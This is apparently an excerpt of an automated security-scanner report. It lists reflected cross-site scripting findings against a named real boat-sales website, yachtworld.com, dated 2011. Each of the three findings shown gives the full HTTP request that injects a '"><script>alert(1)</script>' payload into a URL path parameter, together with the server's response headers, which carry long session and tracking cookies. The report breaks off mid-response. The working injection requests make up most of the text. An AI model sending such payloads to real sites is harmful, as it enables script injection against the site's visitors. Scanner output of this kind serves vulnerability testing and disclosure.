Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ac22f"><script>alert(1)</script>1249e79c112 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2008/Regulator-32-Fs-2203131/Port-Clintonac22f"><script>alert(1)</script>1249e79c112/OH/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:03:44 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 20 Jan 2011 19:08:49 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2203131%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B188%2C900%5B%25%5DPort+Clinton%2C+OH%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F0%2F3%2F1%2F2203131_13_mini.jpg%3F1282073289000%5B%25%5D%2Fboats%2F2008%2FRegulator-32-FS-2203131%2FPort-Clinton%2FOH%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:03:44 GMT Set-Cookie: VIEWED_BOATS_STORE=2203131%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B188%2C900%5B%25%5DPort+Clinton%2C+OH%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F0%2F3%2F1%2F2203131_13_mini.jpg%3F1282073289000%5B%25%5D%2Fboats%2F2008%2FRegulator-32-FS-2203131%2FPort-Clinton%2FOH%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 686aa"><script>alert(1)</script>8108ea0f138 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2008/Regulator-32-Fs-2203131/Port-Clinton/OH686aa"><script>alert(1)</script>8108ea0f138/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:04:19 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 20 Jan 2011 19:08:49 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2203131%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B188%2C900%5B%25%5DPort+Clinton%2C+OH%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F0%2F3%2F1%2F2203131_13_mini.jpg%3F1282073289000%5B%25%5D%2Fboats%2F2008%2FRegulator-32-FS-2203131%2FPort-Clinton%2FOH%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:04:19 GMT Set-Cookie: VIEWED_BOATS_STORE=2203131%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B188%2C900%5B%25%5DPort+Clinton%2C+OH%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F0%2F3%2F1%2F2203131_13_mini.jpg%3F1282073289000%5B%25%5D%2Fboats%2F2008%2FRegulator-32-FS-2203131%2FPort-Clinton%2FOH%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 52069"><script>alert(1)</script>deba5c42268 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2008/Regulator-32-Fs-2203131/Port-Clinton/OH/United-States52069"><script>alert(1)</script>deba5c42268 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:04:49 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 20 Jan 2011 19:08:49 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2203131%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B188%2C900%5B%25%5DPort+Clinton%2C+OH%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F0%2F3%2F1%2F2203131_13_mini.jpg%3F1282073289000%5B%25%5D%2Fboats%2F2008%2FRegulator-32-FS-2203131%2FPort-Clinton%2FOH%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:04:49 GMT Set-Cookie: VIEWED_BOATS_STORE=2203131%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B188%2C900%5B%25%5DPort+Clinton%2C+OH%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F0%2F3%2F1%2F2203131_13_mini.jpg%3F1282073289000%5B%25%5D%2Fboats%2F2008%2FRegulator-32-FS-2203131%2FPort-Clinton%2FOH%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%